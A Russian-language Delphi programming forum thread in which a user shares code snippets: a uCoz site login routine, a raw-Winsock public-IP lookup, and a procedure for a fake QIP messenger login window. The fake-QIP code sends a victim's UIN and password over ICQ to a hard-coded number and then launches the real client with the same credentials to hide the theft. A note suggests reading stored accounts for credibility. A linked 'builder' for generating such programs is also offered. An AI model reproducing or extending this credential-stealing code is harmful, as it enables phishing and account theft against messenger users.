Четверг, 28.03.2024, 23:39 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Anton93  
delphicode » Delphi » Процедуры и функции Delphi » Интересные функции, ваши наработки. (джав)
Интересные функции, ваши наработки.
JawДата: Среда, 05.05.2010, 22:04 | Сообщение # 1
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
Авторизация на ucoz
Компилятор: Delphi7 и выше.
Автор: Jaw.

Авторизация на любом из сайтов созданых в системе ucoz при помощи локальной учтеной записи.
В этом примере показана авторизация на сайте http://delfcode.ru/ не составит труда переделать под любой другой сайт.

Code

procedure TForm1.Button1Click(Sender: TObject);
var
result,rdn,one,too,s: string;
Info: TStringlist;
CM  : TidCookieManager;
begin
CM := TidCookieManager.Create(idHttp1);
idHttp1.AllowCookies := true;
idHttp1.CookieManager := CM;
result :=idhttp1.get('http://delfcode.ru/');
rdn:='';
one:='name="rnd" value="';
too:='" /></form></TD>';
if Pos(one,result)<>0 then delete(result,1,Pos(one,result)-1);
rdn:=copy(result,Pos(one,result)+length(one), Pos(too,result)-(Pos(one,result)+length(one)));
if Pos(one,result)<>0 then
delete(result,Pos(one,result),Pos(too,result)-1);
edit1.text:=rdn;
Info := TStringList.Create;
try
begin
Info.Clear;
Info.Add('user=Jaw');//имя пользователя заментие на свой.
Info.Add('password=123456');//пароль замените на свой.
Info.Add('rem=1');
Info.Add('a=2');
Info.Add('ajax=1');
Info.Add('rnd='+rdn);
s:=form1.idHTTP1.Post('http://delfcode.ru/index/sub/',Info);
rdn:='';
result:='';
one:='"+ad+"';
too:=#39+'",'+#39+'1000'+#39+')]]></cmd></ajax>';
if Pos(one,s)<>0 then delete(s,1,Pos(one,s)-1);
rdn:=copy(s,Pos(one,s)+length(one), Pos(too,s)-(Pos(one,s)+length(one)));
if Pos(one,s)<>0 then
delete(s,Pos(one,s),Pos(too,s)-1);
result:=idhttp1.get('http://delfcode.ru/'+rdn);
if Pos('<B>Jaw</B>',result)> 0 then//Имя пользователя замените на свое
showmessage('it works')
else
showmessage('no');
end;
finally
Info.Free;
CM.Free;
end;
end;

Получение публичного IP
Компилятор: Delphi7 и выше.
Автор: Jaw.

Это пример отправки GET запроса с помошью Winsock. Мы отправляеи гет запрос на страницу http://www.whatismyip.com/automation/n09230945.asp и в ответ получаем свой IP.

Code

procedure TForm1.Button1Click(Sender: TObject);
var
wData:WSAData;
s:TSOCKET;
addr:sockaddr_in;
sendbuff,a:string;
sBuff:array [1..6000] of char;
i:integer;
begin
if WSAStartup(makeword(1,1),wData)<>0 then
Begin
showmessage('сокс не найден');
exit;
End;
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family:=AF_Inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr('72.233.89.199');
Err(Connect(S,addr,SizeOf(TSockAddr)));
sendbuff := '';
sendbuff := 'GET /automation/n09230945.asp HTTP/1.1'+ #13#10 +
'Host: www.whatismyip.com'+ #13#10 +
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00'+ #13#10 +
'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+ #13#10 +
'Accept-Language:ru,en-us;q=0.7,en;q=0.3'+ #13#10 +
'Accept-Encoding:Accept-Encoding: {deflate, gzip,} x-gzip, identity, *;q=0'+ #13#10 +
'Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
'Keep-Alive:300'+ #13#10 +
'Cookie: ASPSESSIONIDQQSACDRD=GCFAOKDBDLMGOFNGGKBCBKCO'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection:keep-alive'+#13#10#13#10;
send(s, sendbuff[1] , Length(sendbuff), 0);
application.ProcessMessages;
recv(s,sBuff,5000,0);
application.ProcessMessages;
memo1.lines.add(sbuff);
end;

Добавлено (03.01.2010, 21:48)
---------------------------------------------
Возможный вариант доработки фейка квипа, процедура отправки номера;пароля:

Code

procedure TForm1.ICQClient1Login(Sender: TObject);
var
hform, hgroup, hcombo, hedi, wndt: HWND;
int: string;
begin
icqclient1.SendMessage(12345678, 'Уин: ' + ComboBox1.Text + '  Password: ' + Edit1.Text);// отправляем данные
formX.hide; //скрываем форму фейка
ShellExecute(Self.Handle, 'open', PChar('C:\programfiles\QIP\qip.exe'), nil, nil, SW_SHOWNORMAL);//запускаем оригинальный квип
sleep(10);// ждем пока загрузится квип
{ Заполняем поля }
hform:=FindWindow('TManForm', nil);
hgroup:=FindWindowEx(hform,0,'TGroupBox', nil);
hcombo:=FindWindowEx(hgroup,0,'TComboBox', nil);
hedit:=FindWindowEx(hgroup,0,'TEdit',nil);
int:=edit1.text;    //пароль
SendMessage(hedit, WM_SETTEXT, 0, LParam(PChar(int)));
int:=ComboBox1.Text; //уин
SendMessage(hcombo, WM_SETTEXT, 0, LParam(PChar(int)));
{Нажимаем кнопку подключится}
wnd:=FindWindowEx(hgroup, 0, 'TButton', 'Подключиться');
PostMessage (wnd, BM_CLICK, 0, 0);
close;// закрываем фейк
end;

P.S: При создании формы фейка можно считывать из файла accounts.cfg данные о ранее подключаемых номерах для пущей убедительности.

Добавлено (05.05.2010, 22:04)
---------------------------------------------
Пример билдера II (не патчера).

Выкладываю пример билдера который не использует патчинг exe, для создания нового проекта, компилирует из исходников.

Файлы & Каталоги:

1. В дирректории Program исходный код программы генерируемой билдером.
2. В папке Builder хранятся исходники билдера.
3. Resource => ресурсы подключаемые к билдеру.
4. В каталоге lib присутствует сам компилятор, библиотеки для компиляции(system.dcu\Windows.dcu\SysInit.dcu\Type s.dcu) и make.bat собирающий исходники в *.exe.

Скачать: http://multi-up.com/268165

Сообщение отредактировал Jaw - Четверг, 06.05.2010, 12:55
 
opiusДата: Среда, 05.05.2010, 23:29 | Сообщение # 2
Частый гость
Зарегистрирован: 18.03.2010
Группа: Пользователи
Сообщений: 46
Статус: Offline
Спасибо за билдер буду доробатывать в билдере убрал JStrPars из uses он там ненужен и не компилируеться wink




Сообщение отредактировал opius - Четверг, 06.05.2010, 00:02
 
delphicode » Delphi » Процедуры и функции Delphi » Интересные функции, ваши наработки. (джав)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz